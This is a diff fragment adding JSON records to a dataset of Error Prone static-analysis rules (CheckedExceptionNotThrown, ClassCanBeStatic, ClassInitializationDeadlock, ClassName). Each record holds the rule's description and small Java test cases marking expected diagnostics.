], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n public class Lib {\n public static void consume(Object o) {}\n }\n \n\n class Test {\n void m(java.util.List xs) {\n xs.forEach(Lib::consume);\n }\n }" + }, + { + "description": "noCRVonClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 768 + ], + "code": "class Test {\n void m() {\n // BUG: Diagnostic contains: CheckReturnValue\n com.google.errorprone.bugpatterns.CheckReturnValueTest.CRVTest.f();\n }\n }" + }, + { + "description": "constructor", + "expected-problems": null, + "expected-linenumbers": [ + 785 + ], + "code": "class Test {\n @com.google.errorprone.annotations.CheckReturnValue\n public Test() {}\n\n public static void foo() {\n // BUG: Diagnostic contains: CheckReturnValue\n new Test();\n }\n }" + }, + { + "description": "constructor_telescoping", + "expected-problems": null, + "expected-linenumbers": [ + 804 + ], + "code": "class Test {\n @com.google.errorprone.annotations.CheckReturnValue\n public Test() {}\n\n public Test(int foo) {\n this();\n }\n\n public static void foo() {\n Test foo = new Test(42);\n }\n }" + }, + { + "description": "constructor_superCall", + "expected-problems": null, + "expected-linenumbers": [ + 826 + ], + "code": "class Test {\n @com.google.errorprone.annotations.CheckReturnValue\n public Test() {}\n\n static class SubTest extends Test {\n SubTest() {\n super();\n }\n }\n\n public static void foo() {\n Test derived = new SubTest();\n }\n }" + }, + { + "description": "constructor_anonymousClassInheritsCIRV", + "expected-problems": null, + "expected-linenumbers": [ + 850 + ], + "code": "class Test {\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public Test() {}\n\n public static void foo() {\n new Test() {};\n new Test() {\n {\n System.out.println(\"Lookie, instance initializer\");\n }\n };\n }\n }" + }, + { + "description": "constructor_anonymousClassInheritsCRV", + "expected-problems": null, + "expected-linenumbers": [ + 873 + ], + "code": "class Test {\n @com.google.errorprone.annotations.CheckReturnValue\n public Test() {}\n\n public static void foo() {\n // BUG: Diagnostic contains: CheckReturnValue\n new Test() {};\n }\n }" + }, + { + "description": "constructor_hasOuterInstance", + "expected-problems": null, + "expected-linenumbers": [ + 892 + ], + "code": "class Test {\n class Inner {\n @com.google.errorprone.annotations.CheckReturnValue\n public Inner() {}\n }\n\n public static void foo() {\n // BUG: Diagnostic contains: CheckReturnValue\n new Test().new Inner() {};\n }\n }" + }, + { + "description": "constructor_anonymousClassInheritsCRV_syntheticConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 913 + ], + "code": "" + }, + { + "description": "constructor_inheritsFromCrvInterface", + "expected-problems": null, + "expected-linenumbers": [ + 929 + ], + "code": "" + }, + { + "description": "constructor_throwingContexts", + "expected-problems": null, + "expected-linenumbers": [ + 946 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n public class Foo {}\n \n\n class Test {\n void f() {\n try {\n new Foo();\n org.junit.Assert.fail();\n } catch (Exception expected) {\n }\n org.junit.Assert.assertThrows(IllegalArgumentException.class, () -> new Foo());\n }\n }" + }, + { + "description": "constructor_reference", + "expected-problems": null, + "expected-linenumbers": [ + 972 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n public class Foo {}\n \n\n class Test {\n void f() {\n // BUG: Diagnostic contains: CheckReturnValue\n Runnable ignoresResult = Foo::new;\n }\n }" + }, + { + "description": "constructor_withoutCrvAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 994 + ], + "code": "class Test {\n public Test() {}\n\n public static void foo() {\n // BUG: Diagnostic contains: CheckReturnValue\n new Test();\n }\n }" + }, + { + "description": "allMethods_withoutCIRVAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 1012 + ], + "code": "class Test {\n public int bar() {\n return 42;\n }\n\n public static void foo() {\n // BUG: Diagnostic contains: CheckReturnValue\n new Test().bar();\n }\n }" + }, + { + "description": "allMethods_withExternallyConfiguredIgnoreList", + "expected-problems": null, + "expected-linenumbers": [ + 1035 + ], + "code": "import my.java.util.List;\n\n class Test {\n public static void foo(List x) {\n x.add(42);\n // BUG: Diagnostic contains: CheckReturnValue\n x.get(0);\n }\n }\n \n\n package my.java.util;\n\n public interface List {\n boolean add(E e);\n\n E get(int index);\n }" + }, + { + "description": "packagesRule", + "expected-problems": null, + "expected-linenumbers": [ + 1065 + ], + "code": "import my.java.util.List;\n import my.java.util.regex.Pattern;\n\n class Test {\n public static void foo(List list, Pattern pattern) {\n // BUG: Diagnostic contains: CheckReturnValue\n list.get(0);\n // BUG: Diagnostic contains: CheckReturnValue\n pattern.matcher(\"blah\");\n }\n }\n \n\n package my.java.util;\n\n public interface List {\n E get(int index);\n }\n \n\n package my.java.util.regex;\n\n public interface Pattern {\n String matcher(CharSequence input);\n }" + }, + { + "description": "packagesRule_negativePattern", + "expected-problems": null, + "expected-linenumbers": [ + 1104 + ], + "code": "import my.java.util.List;\n import my.java.util.regex.Pattern;\n\n class Test {\n public static void foo(List list, Pattern pattern) {\n // BUG: Diagnostic contains: CheckReturnValue\n list.get(0);\n pattern.matcher(\"blah\");\n }\n }\n \n\n package my.java.util;\n\n public interface List {\n E get(int index);\n }\n \n\n package my.java.util.regex;\n\n public interface Pattern {\n String matcher(CharSequence input);\n }" + }, + { + "description": "packagesRule_negativePattern_doesNotMakeOptional", + "expected-problems": null, + "expected-linenumbers": [ + 1142 + ], + "code": "import my.java.util.List;\n import my.java.util.regex.Pattern;\n import my.java.util.regex.PatternSyntaxException;\n\n class Test {\n public static void foo(List list, Pattern pattern) {\n // BUG: Diagnostic contains: CheckReturnValue\n list.get(0);\n pattern.matcher(\"blah\");\n // BUG: Diagnostic contains: CheckReturnValue\n new PatternSyntaxException(\"\", \"\", 0);\n }\n }\n \n\n package my.java.util;\n\n public interface List {\n E get(int index);\n }\n \n\n package my.java.util.regex;\n\n public interface Pattern {\n String matcher(CharSequence input);\n }\n \n\n package my.java.util.regex;\n\n public class PatternSyntaxException extends IllegalArgumentException {\n public PatternSyntaxException(String desc, String regex, int index) {}\n }" + }, + { + "description": "refactoringAssignsToOriginalBasedOnSubstitutedTypes", + "expected-problems": null, + "expected-linenumbers": [ + 1195 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n interface Builder> {\n B setFoo(String s);\n }\n \n\n class Test {\n void f(SomeBuilder builder, String s) {\n builder.setFoo(s);\n }\n }\n \n\n class Test {\n void f(SomeBuilder builder, String s) {\n builder = builder.setFoo(s);\n }\n }" + }, + { + "description": "suggestCanIgnoreReturnValueForMethodInvocation", + "expected-problems": null, + "expected-linenumbers": [ + 1232 + ], + "code": "import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n void foo() {\n makeBarOrThrow();\n }\n\n String makeBarOrThrow() {\n throw new UnsupportedOperationException();\n }\n }\n \n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n void foo() {\n makeBarOrThrow();\n }\n\n @CanIgnoreReturnValue\n String makeBarOrThrow() {\n throw new UnsupportedOperationException();\n }\n }" + }, + { + "description": "suggestCanIgnoreReturnValueForMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 1272 + ], + "code": "import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n Runnable r = this::makeBarOrThrow;\n\n String makeBarOrThrow() {\n throw new UnsupportedOperationException();\n }\n }\n \n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n Runnable r = this::makeBarOrThrow;\n\n @CanIgnoreReturnValue\n String makeBarOrThrow() {\n throw new UnsupportedOperationException();\n }\n }" + }, + { + "description": "suggestCanIgnoreReturnValueForConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 1308 + ], + "code": "import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n Test() {}\n\n void run() {\n new Test();\n }\n }\n \n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n @CanIgnoreReturnValue\n Test() {}\n\n void run() {\n new Test();\n }\n }" + }, + { + "description": "suggestCanIgnoreReturnValueAndRemoveCheckReturnValue", + "expected-problems": null, + "expected-linenumbers": [ + 1344 + ], + "code": "import com.google.errorprone.annotations.CheckReturnValue;\n\n class Test {\n void foo() {\n makeBarOrThrow();\n }\n\n @CheckReturnValue\n String makeBarOrThrow() {\n throw new UnsupportedOperationException();\n }\n }\n \n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import com.google.errorprone.annotations.CheckReturnValue;\n\n class Test {\n void foo() {\n makeBarOrThrow();\n }\n\n @CanIgnoreReturnValue\n String makeBarOrThrow() {\n throw new UnsupportedOperationException();\n }\n }" + }, + { + "description": "doesNotSuggestCanIgnoreReturnValueForOtherFile", + "expected-problems": null, + "expected-linenumbers": [ + 1383 + ], + "code": "import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Lib {\n String makeBarOrThrow() {\n throw new UnsupportedOperationException();\n }\n }\n \n\n import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n void foo(Lib l) {\n l.makeBarOrThrow();\n }\n }\n \n\n import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n class Test {\n void foo(Lib l) {\n var unused = l.makeBarOrThrow();\n }\n }" + }, + { + "description": "suggestsVarUnusedForConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 1427 + ], + "code": "@com.google.errorprone.annotations.CheckReturnValue\n class Test {\n void go() {\n new Test();\n }\n }\n \n\n @com.google.errorprone.annotations.CheckReturnValue\n class Test {\n void go() {\n var unused = new Test();\n }\n }" + }, + { + "description": "suggestsVarUnused2", + "expected-problems": null, + "expected-linenumbers": [ + 1453 + ], + "code": "import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n interface Lib {\n int a();\n\n int b();\n }\n \n\n class Test {\n void foo(Lib lib) {\n var unused = lib.a();\n lib.b();\n }\n }\n \n\n class Test {\n void foo(Lib lib) {\n var unused = lib.a();\n var unused2 = lib.b();\n }\n }" + }, + { + "description": "inheritsCanIgnoreReturnValue", + "expected-problems": null, + "expected-linenumbers": [ + 1492 + ], + "code": "import com.google.errorprone.annotations.CheckReturnValue;\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CheckReturnValue\n interface Super {\n int a();\n\n @CanIgnoreReturnValue\n int b();\n }\n \n\n import com.google.errorprone.annotations.CheckReturnValue;\n\n @CheckReturnValue\n interface Lib extends Super {\n @Override\n int a();\n\n @Override\n int b();\n }\n \n\n class Test {\n void foo(Lib lib) {\n lib.a();\n lib.b();\n }\n }\n \n\n class Test {\n void foo(Lib lib) {\n var unused = lib.a();\n lib.b();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckedExceptionNotThrown.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckedExceptionNotThrown.json new file mode 100644 index 0000000..d83c70a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckedExceptionNotThrown.json @@ -0,0 +1,86 @@ +{ + "name": "CheckedExceptionNotThrown", + "language": "java", + "description": "This method cannot throw a checked exception that it claims to. This may cause consumers of the API to incorrectly attempt to handle, or propagate, this exception.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 185, + "branches": 8, + "apis": 3, + "test": [ + { + "description": "noExceptionThrown_entireThrowsBlockRemoved", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "public final class Test {\n /**\n * Frobnicate\n *\n * @throws Exception foo\n */\n void test() throws Exception {}\n }\n \n\n public final class Test {\n /** Frobnicate */\n void test() {}\n }" + }, + { + "description": "exceptionActuallyThrown_noChange", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "public final class Test {\n void test() throws Exception {\n Thread.sleep(1);\n }\n }" + }, + { + "description": "overridable_noChange", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "public class Test {\n void test() throws Exception {}\n }" + }, + { + "description": "thrownViaGenericChecked", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import java.util.Optional;\n\n public final class Test {\n int test(Optional x) throws Exception {\n return x.orElseThrow(() -> new Exception());\n }\n }" + }, + { + "description": "thrownViaGenericUnchecked", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "import java.util.Optional;\n\n public final class Test {\n int test(Optional x) throws Exception {\n return x.orElseThrow(() -> new IllegalStateException());\n }\n }\n \n\n import java.util.Optional;\n\n public final class Test {\n int test(Optional x) {\n return x.orElseThrow(() -> new IllegalStateException());\n }\n }" + }, + { + "description": "oneCheckedOneUnchecked", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "public final class Test {\n void test() throws IllegalStateException, Exception {}\n }\n \n\n public final class Test {\n void test() throws IllegalStateException {}\n }" + }, + { + "description": "oneCheckedOneUnchecked_finding", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "public final class Test {\n // BUG: Diagnostic contains: (Exception)\n void test() throws IllegalStateException, Exception {}\n }" + }, + { + "description": "ignoredOnTestMethods", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "public final class Test {\n @org.junit.Test\n void test() throws IllegalStateException, Exception {}\n }" + }, + { + "description": "exceptionActuallyThrownInFieldInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "public final class Test {\n Test() throws Exception {}\n\n int f = test();\n\n static int test() throws Exception {\n Thread.sleep(1);\n return 1;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassCanBeStatic.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassCanBeStatic.json new file mode 100644 index 0000000..b657d26 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassCanBeStatic.json @@ -0,0 +1,214 @@ +{ + "name": "ClassCanBeStatic", + "language": "java", + "description": "Inner class is non-static but does not reference enclosing class", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 14, + "apis": 2, + "test": [ + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author alexloh@google.com (Alex Loh)\n */\n public class ClassCanBeStaticNegativeCases {\n int outerVar;\n\n public int outerMethod() {\n return 0;\n }\n\n public static class Inner1 { // inner class already static\n int innerVar;\n }\n\n public class Inner2 { // inner class references an outer variable\n int innerVar = outerVar;\n }\n\n public class Inner3 { // inner class references an outer variable in a method\n int localMethod() {\n return outerVar;\n }\n }\n\n public class Inner4 { // inner class references an outer method in a method\n int localMethod() {\n return outerMethod();\n }\n }\n\n // outer class is a nested but non-static, and thus cannot have a static class\n class NonStaticOuter {\n int nonStaticVar = outerVar;\n\n class Inner5 {}\n }\n\n // inner class is local and thus cannot be static\n void foo() {\n class Inner6 {}\n }\n\n // inner class is anonymous and thus cannot be static\n Object bar() {\n return new Object() {};\n }\n\n // enums are already static\n enum Inner7 {\n RED,\n BLUE,\n VIOLET,\n }\n\n // outer class is a nested but non-static, and thus cannot have a static class\n void baz() {\n class NonStaticOuter2 {\n int nonStaticVar = outerVar;\n\n class Inner8 {}\n }\n }\n\n // inner class references a method from inheritance\n public interface OuterInter {\n int outerInterMethod();\n }\n\n abstract static class AbstractOuter implements OuterInter {\n class Inner8 {\n int localMethod() {\n return outerInterMethod();\n }\n }\n }\n }\\" + }, + { + "description": "positiveCase1", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author alexloh@google.com (Alex Loh)\n */\n public class ClassCanBeStaticPositiveCase1 {\n\n int outerVar;\n\n // Non-static inner class that does not use outer scope\n // BUG: Diagnostic contains: static class Inner1\n class Inner1 {\n int innerVar;\n }\n }\\" + }, + { + "description": "positiveCase2", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author alexloh@google.com (Alex Loh)\n */\n public class ClassCanBeStaticPositiveCase2 {\n\n int outerVar1;\n int outerVar2;\n\n // Outer variable overridden\n // BUG: Diagnostic contains: private /* COMMENT */ static final class Inner2\n private /* COMMENT */ final class Inner2 {\n int outerVar1;\n int innerVar = outerVar1;\n\n int localMethod(int outerVar2) {\n return outerVar2;\n }\n }\n }\\" + }, + { + "description": "positiveCase3", + "expected-problems": null, + "expected-linenumbers": [ + 176 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author alexloh@google.com (Alex Loh)\n */\n public class ClassCanBeStaticPositiveCase3 {\n\n static int outerVar;\n\n // Nested non-static inner class inside a static inner class\n static class NonStaticOuter {\n int nonStaticVar = outerVar;\n\n // BUG: Diagnostic contains: public static class Inner3\n public class Inner3 {}\n }\n }" + }, + { + "description": "positiveReference", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n private class One {\n int field;\n }\n\n // BUG: Diagnostic contains:\n private class Two {\n String field;\n }\n }" + }, + { + "description": "nonMemberField", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "class Test {\n int x;\n\n private class One {\n {\n System.err.println(x);\n }\n }\n\n // BUG: Diagnostic contains:\n private class Two {\n void f(Test t) {\n System.err.println(t.x);\n }\n }\n }" + }, + { + "description": "qualifiedThis", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "class Test {\n private class One {\n {\n System.err.println(Test.this);\n }\n }\n\n // BUG: Diagnostic contains:\n private class Two {\n void f(Test t) {\n System.err.println(Test.class);\n }\n }\n }" + }, + { + "description": "referencesSibling", + "expected-problems": null, + "expected-linenumbers": [ + 274 + ], + "code": "class Test {\n private class One {\n {\n new Two();\n }\n }\n\n private class Two {\n void f(Test t) {\n System.err.println(Test.this);\n }\n }\n }" + }, + { + "description": "referenceInAnonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 297 + ], + "code": "class Test {\n private class Two {\n {\n new Runnable() {\n @Override\n public void run() {\n System.err.println(Test.this);\n }\n }.run();\n }\n }\n }" + }, + { + "description": "extendsInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "class Test {\n private class One {\n {\n System.err.println(Test.this);\n }\n }\n\n private class Two extends One {}\n }" + }, + { + "description": "ctorParametricInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 338 + ], + "code": "class Test {\n private class One {\n {\n System.err.println(Test.this);\n }\n }\n\n private abstract class Two {\n {\n new One();\n }\n }\n }" + }, + { + "description": "extendsParametricInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 361 + ], + "code": "class Test {\n private class One {\n {\n System.err.println(Test.this);\n }\n }\n\n private abstract class Two extends One {}\n }" + }, + { + "description": "referencesTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 380 + ], + "code": "import java.util.List;\n\n class Test {\n private class One {\n List xs;\n }\n }" + }, + { + "description": "referencesTypeParameterImplicit", + "expected-problems": null, + "expected-linenumbers": [ + 397 + ], + "code": "import java.util.List;\n\n class Test {\n class One {\n {\n System.err.println(Test.this);\n }\n }\n\n class Two {\n One one; // implicit reference of Test.One\n }\n }" + }, + { + "description": "negative_referencesTypeParameterImplicit", + "expected-problems": null, + "expected-linenumbers": [ + 420 + ], + "code": "package test;\n\n public class One {\n public class Inner {\n {\n System.err.println(One.this);\n }\n }\n }\n \n\n import test.One.Inner;\n\n class Test {\n // BUG: Diagnostic contains:\n class Two {\n Inner inner; // ok: implicit reference of One.Inner\n }\n }" + }, + { + "description": "qualifiedSuperReference", + "expected-problems": null, + "expected-linenumbers": [ + 451 + ], + "code": "class Test {\n class One {\n {\n Test.super.getClass();\n }\n }\n }" + }, + { + "description": "annotationMethod", + "expected-problems": null, + "expected-linenumbers": [ + 468 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n class One {\n @SuppressWarnings(value = \"\")\n void f() {}\n }\n }" + }, + { + "description": "extendsHiddenInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 485 + ], + "code": "public class A {\n public class Inner {\n {\n System.err.println(A.this);\n }\n }\n }\n \n\n public class B extends A {\n public class Inner extends A.Inner {}\n }" + }, + { + "description": "nestedInAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 509 + ], + "code": "public class A {\n static Runnable r =\n new Runnable() {\n class Inner {}\n\n public void run() {}\n };\n }" + }, + { + "description": "nestedInLocal", + "expected-problems": null, + "expected-linenumbers": [ + 527 + ], + "code": "public class A {\n static void f() {\n class Outer {\n class Inner {}\n }\n }\n }" + }, + { + "description": "nestedInLocal_static", + "expected-problems": null, + "expected-linenumbers": [ + 545 + ], + "code": "public class A {\n static void f() {\n class Outer {\n // BUG: Diagnostic contains:\n class Inner {}\n }\n }\n }" + }, + { + "description": "innerClassMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 563 + ], + "code": "import java.util.function.Supplier;\n\n public class T {\n class A {\n {\n System.err.println(T.this);\n }\n }\n\n class B {\n {\n Supplier s = A::new; // capture enclosing instance\n System.err.println(s.get());\n }\n }\n }" + }, + { + "description": "labelledBreak", + "expected-problems": null, + "expected-linenumbers": [ + 589 + ], + "code": "public class A {\n // BUG: Diagnostic contains:\n class Inner {\n void f() {\n OUTER:\n while (true) {\n break OUTER;\n }\n }\n }\n }" + }, + { + "description": "refaster", + "expected-problems": null, + "expected-linenumbers": [ + 610 + ], + "code": "package com.google.errorprone.refaster.annotation;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Target(ElementType.METHOD)\n @Retention(RetentionPolicy.SOURCE)\n public @interface BeforeTemplate {}\n \n\n import com.google.errorprone.refaster.annotation.BeforeTemplate;\n\n public class A {\n class Inner {\n @BeforeTemplate\n void f() {}\n }\n }" + }, + { + "description": "junitNestedClass", + "expected-problems": null, + "expected-linenumbers": [ + 642 + ], + "code": "package org.junit.jupiter.api;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Target(ElementType.TYPE)\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Nested {}\n \n\n import org.junit.jupiter.api.Nested;\n\n public class A {\n @Nested\n class Inner {\n void f() {}\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassInitializationDeadlock.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassInitializationDeadlock.json new file mode 100644 index 0000000..1acbdb6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassInitializationDeadlock.json @@ -0,0 +1,174 @@ +{ + "name": "ClassInitializationDeadlock", + "language": "java", + "description": "Possible class initialization deadlock", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 195, + "branches": 23, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "public class A {\n // BUG: Diagnostic contains:\n private static Object cycle = new B();\n\n public static class B extends A {}\n }" + }, + { + "description": "negativeMethod", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "public class A {\n private static Object cycle =\n new Object() {\n void f() {\n new B();\n }\n };\n\n public static class B extends A {}\n }" + }, + { + "description": "negativeEnum", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "enum E {\n ONE(0),\n TWO {\n void f() {}\n };\n\n E(int x) {}\n\n E() {}\n }" + }, + { + "description": "negativePrivate", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "public class A {\n private static Object benign_cycle = new B.C();\n\n private static class B {\n public static class C extends A {}\n }\n }" + }, + { + "description": "negativeAutoValue", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Animal {\n private static final Animal WALLABY = new AutoValue_Animal(\"Wallaby\", 4);\n\n static Animal create(String name, int numberOfLegs) {\n return new AutoValue_Animal(name, numberOfLegs);\n }\n\n abstract String name();\n\n abstract int numberOfLegs();\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 129 + ], + "code": "public class A {\n static Object constant = 1;\n Object nonStatic = new B();\n static Class classLiteral = B.class;\n\n static class B extends A {}\n }" + }, + { + "description": "negativeInterface", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "public interface A {\n Object cycle = new B();\n\n public static class B implements A {}\n }" + }, + { + "description": "positiveInterfaceDefaultMethod", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "public interface A {\n // BUG: Diagnostic contains:\n Object cycle = new B();\n\n default void f() {}\n\n public static class B implements A {}\n }" + }, + { + "description": "negativePrivateConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "public class A {\n private static Object cycle = new B();\n\n public static final class B extends A {\n private B() {}\n }\n }" + }, + { + "description": "positivePrivateConstructorFactoryMethod", + "expected-problems": null, + "expected-linenumbers": [ + 196 + ], + "code": "public class A {\n // BUG: Diagnostic contains:\n private static Object cycle = new B();\n\n public static final class B extends A {\n private B() {}\n\n public static B create() {\n return new B();\n }\n }\n }" + }, + { + "description": "positivePrivateConstructorFactoryMethodNonStatic", + "expected-problems": null, + "expected-linenumbers": [ + 218 + ], + "code": "public class A {\n private static Object cycle = new B();\n\n public static final class B extends A {\n private B() {}\n\n public B create() {\n return new B();\n }\n }\n }" + }, + { + "description": "negativeNonStaticInner", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "public class A {\n private static Object cycle = new A().new B();\n\n public class B extends A {}\n }" + }, + { + "description": "negativeSelf", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "public class A {\n public static class B extends A {\n private static B self = new B();\n }\n }" + }, + { + "description": "negativePrivateInterface", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "public class A {\n private interface I {}\n\n static final I i = new I() {};\n }" + }, + { + "description": "intermediateNonPrivate", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "public class A {\n // BUG: Diagnostic contains: C is a subclass of the containing class A (via B, which can be\n // initialized from outside the current file)\n public static final C i = new C();\n\n public static class B extends A {}\n\n private static class C extends B {}\n}" + }, + { + "description": "negativeNonPrivateUnrelatedSuper", + "expected-problems": null, + "expected-linenumbers": [ + 303 + ], + "code": "public class A {\n public static final C i = new C();\n\n public interface B {\n default void f() {}\n }\n\n private static class C extends A implements B {}\n }" + }, + { + "description": "nestedEnum", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "public interface TestInterface {\n default Object foo() {\n return null;\n }\n\n enum TestEnum implements TestInterface {\n INSTANCE;\n }\n }" + }, + { + "description": "nestedInterface", + "expected-problems": null, + "expected-linenumbers": [ + 341 + ], + "code": "interface Foo {\n default void foo() {}\n\n interface Sub extends Foo {\n final Sub INSTANCE = new Sub() {};\n }\n }" + }, + { + "description": "nonNestedSubclass", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "class A {\n // BUG: Diagnostic contains:\n private static Object cycle = new B();\n }\n\n class B extends A {}" + }, + { + "description": "negativeAutoValueExtension", + "expected-problems": null, + "expected-linenumbers": [ + 374 + ], + "code": "class $$AutoValue_Foo extends Foo {}\n \n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Foo {\n private static final Foo FOO = new $$AutoValue_Foo();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassName.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassName.json new file mode 100644 index 0000000..7b423fa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassName.json @@ -0,0 +1,94 @@ +{ + "name": "ClassName", + "language": "java", + "description": "The source file name should match the name of the top-level class it contains", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 68, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "twoClasses", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "// BUG: Diagnostic contains: A inside A.java, instead found: One, Two\n package a;\n\n class One {}\n\n class Two {}" + }, + { + "description": "packageInfo", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "/** Documentation for our package */\n package a;\n \n\n // BUG: Diagnostic contains: Test inside Test.java, instead found: Green\n package b;\n\n class Green {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "package a;\n\n class A {}\n \n\n package b;\n\n class B {}" + }, + { + "description": "negativeMultipleTopLevel", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "package a;\n\n class A {}\n \n\n package b;\n\n class B {}\n\n class C {}" + }, + { + "description": "negativeInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "package b;\n\n class B {\n static class Inner {}\n }" + }, + { + "description": "negativeInterface", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "package b;\n\n interface B {\n static class Inner {}\n }" + }, + { + "description": "negativeEnum", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "package b;\n\n enum B {\n ONE;\n }" + }, + { + "description": "negativeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "package b;\n\n public @interface B {}" + }, + 